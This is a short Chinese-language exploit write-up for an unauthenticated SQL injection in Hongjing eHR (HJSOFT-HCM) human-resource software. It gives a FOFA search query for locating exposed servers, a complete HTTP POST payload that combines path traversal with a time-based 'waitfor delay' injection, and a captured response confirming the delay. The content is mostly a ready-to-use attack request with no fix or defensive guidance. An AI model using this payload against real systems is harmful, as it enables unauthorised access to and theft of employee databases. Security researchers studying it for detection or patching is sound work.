H1-10宏景-人力资源管理-SQL

漏洞描述：

宏景eHR view、trainplan_tree.jsp、zp_options/get_org_tree.jsp等接口处存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

FOFA：app="HJSOFT-HCM"

漏洞复现：

payload：

```
POST /templates/attestation/../../general/info/view HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded

kind=1&a0100=1';waitfor+delay+'0:0:5'+--
```

效果图:
延时5秒


Request
数据包扫描
热加载
构造请求
POST /templates/attestation/../../general/info/view HTTP/1.1
Host: 8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
kind=1&a0100=1';waitfor+delay+'0:0:5'+--
Responses
/ 5038ms
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
x-frame-options: SAMEORIGIN
Set-Cookie: JSESSIONID=FE18560FB664704EFCD
Date: Fri, 12 Jan 2024 09:13:02 GMT
Connection: close